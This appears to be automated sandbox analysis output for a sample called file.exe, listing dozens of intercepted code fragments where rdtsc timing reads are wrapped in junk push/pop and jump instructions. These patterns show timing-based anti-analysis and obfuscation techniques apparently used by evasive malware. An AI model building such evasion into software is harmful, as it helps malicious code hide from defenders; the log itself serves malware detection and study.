Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A581 second address: D3A5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FA32872BAEDh 0x0000000d popad 0x0000000e jmp 00007FA32872BAF9h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A5B4 second address: D3A5B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45E05 second address: D45E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45E10 second address: D45E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44F19 second address: D44F23 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA32872BAE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44F23 second address: D44F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007FA328DF73A6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44F32 second address: D44F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA32872BAEAh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44F46 second address: D44F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4509C second address: D450E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FA32872BAF2h 0x00000012 pop eax 0x00000013 jc 00007FA32872BB00h 0x00000019 jmp 00007FA32872BAF4h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45216 second address: D4521A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4521A second address: D4521E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4521E second address: D45224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45224 second address: D4522A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4522A second address: D4522F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D454FC second address: D4550D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA32872BAE6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4550D second address: D4551C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007FA328DF73AEh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45674 second address: D45692 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FA32872BAEAh 0x00000008 jl 00007FA32872BAE6h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 ja 00007FA32872BAE6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45810 second address: D45814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45ACA second address: D45AF7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA32872BAE6h 0x00000008 jmp 00007FA32872BAF3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007FA32872BAECh 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45AF7 second address: D45B1C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA328DF73B6h 0x00000008 jmp 00007FA328DF73AAh 0x0000000d je 00007FA328DF73A6h 0x00000013 pushad 0x00000014 jmp 00007FA328DF73AAh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45B1C second address: D45B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45B2A second address: D45B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45B2E second address: D45B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D474E6 second address: D47505 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73AAh 0x00000007 ja 00007FA328DF73A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jno 00007FA328DF73A6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47505 second address: D4750A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4750A second address: D47511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47511 second address: D47517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47517 second address: D47531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA328DF73B0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D502A4 second address: D502C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA32872BAF6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D502C5 second address: D502CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D502CB second address: D502DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FA32872BAE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D502DA second address: D502DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E848 second address: D4E84C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E84C second address: D4E85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FA328DF73A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E85C second address: D4E866 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EC62 second address: D4EC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EC66 second address: D4EC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EC6A second address: D4EC86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA328DF73B2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EC86 second address: D4EC8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F208 second address: D4F220 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA328DF73B3h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F995 second address: D4F99C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D500CE second address: D500E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FA328DF73ACh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D500E0 second address: D500F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA32872BAECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D500F1 second address: D500F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D500F7 second address: D5010F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA32872BAF1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5010F second address: D50113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50113 second address: D50135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA32872BAE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FA32872BAF2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DFC8 second address: D4DFE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DFE5 second address: D4E004 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FA32872BAE6h 0x00000010 jmp 00007FA32872BAEFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D562D1 second address: D562E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D562E1 second address: D56305 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA32872BAE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FA32872BAE8h 0x00000012 push edx 0x00000013 jg 00007FA32872BAE6h 0x00000019 pop edx 0x0000001a jng 00007FA32872BAEEh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56305 second address: D5631E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007FA328DF73A6h 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5631E second address: D56337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FA32872BAF1h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56493 second address: D564B5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA328DF73A8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d jl 00007FA328DF73A6h 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jc 00007FA328DF73A8h 0x0000001d push esi 0x0000001e pop esi 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59A39 second address: D59A46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FA32872BAE6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59A46 second address: D59A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FA328DF73AEh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jo 00007FA328DF73A6h 0x0000001c popad 0x0000001d jno 00007FA328DF73ACh 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D657C3 second address: D657E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA32872BAF4h 0x00000008 jno 00007FA32872BAE6h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D657E4 second address: D657EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6538C second address: D6539E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA32872BAE6h 0x0000000a jc 00007FA32872BAE8h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69DAC second address: D69DC0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA328DF73A6h 0x00000008 jne 00007FA328DF73A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69DC0 second address: D69DE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jbe 00007FA32872BAE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69DE4 second address: D69E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007FA328DF73B1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6998A second address: D699A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D699A4 second address: D699C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FA328DF73ABh 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 ja 00007FA328DF73A6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71955 second address: D71959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D828D4 second address: D828D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D828D8 second address: D828DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F171 second address: C9F17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F17A second address: C9F19B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81145 second address: D811AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA328DF73A6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FA328DF73B0h 0x00000011 jmp 00007FA328DF73B1h 0x00000016 jg 00007FA328DF73A6h 0x0000001c popad 0x0000001d pop ecx 0x0000001e pushad 0x0000001f jnc 00007FA328DF73AEh 0x00000025 pushad 0x00000026 jno 00007FA328DF73A6h 0x0000002c pushad 0x0000002d popad 0x0000002e push esi 0x0000002f pop esi 0x00000030 popad 0x00000031 jmp 00007FA328DF73B4h 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D818AB second address: D818B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA32872BAE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D818B5 second address: D818B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D818B9 second address: D818CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA32872BAECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D818CF second address: D818E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D818E2 second address: D818F5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA32872BAE6h 0x00000008 jng 00007FA32872BAE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D818F5 second address: D8193A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73B9h 0x00000009 popad 0x0000000a jl 00007FA328DF73A8h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 pushad 0x00000014 jnl 00007FA328DF73B2h 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push edi 0x0000001e pop edi 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8193A second address: D81940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81A72 second address: D81A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82618 second address: D8261C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86467 second address: D86477 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA328DF73A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pop edi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86477 second address: D8647D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8647D second address: D86481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D94313 second address: D94324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAEBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4CC1 second address: DA4CC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4CC7 second address: DA4CF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA32872BAF9h 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jng 00007FA32872BAF2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4CF1 second address: DA4D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA328DF73A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA328DF73B9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA49F1 second address: DA4A35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007FA32872BAE6h 0x0000000f popad 0x00000010 jbe 00007FA32872BAFBh 0x00000016 push edi 0x00000017 jnc 00007FA32872BAE6h 0x0000001d pop edi 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FA32872BAEEh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA75F second address: DBA7A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007FA328DF73B0h 0x0000000f jmp 00007FA328DF73ACh 0x00000014 pop eax 0x00000015 push edi 0x00000016 jmp 00007FA328DF73B3h 0x0000001b jnp 00007FA328DF73A6h 0x00000021 pop edi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA7A5 second address: DBA7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBAE82 second address: DBAE86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB004 second address: DBB03B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF8h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA32872BAF7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB03B second address: DBB081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B0h 0x00000007 jnp 00007FA328DF73A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 jnl 00007FA328DF73AEh 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA328DF73B4h 0x0000001e jbe 00007FA328DF73A6h 0x00000024 rdtsc
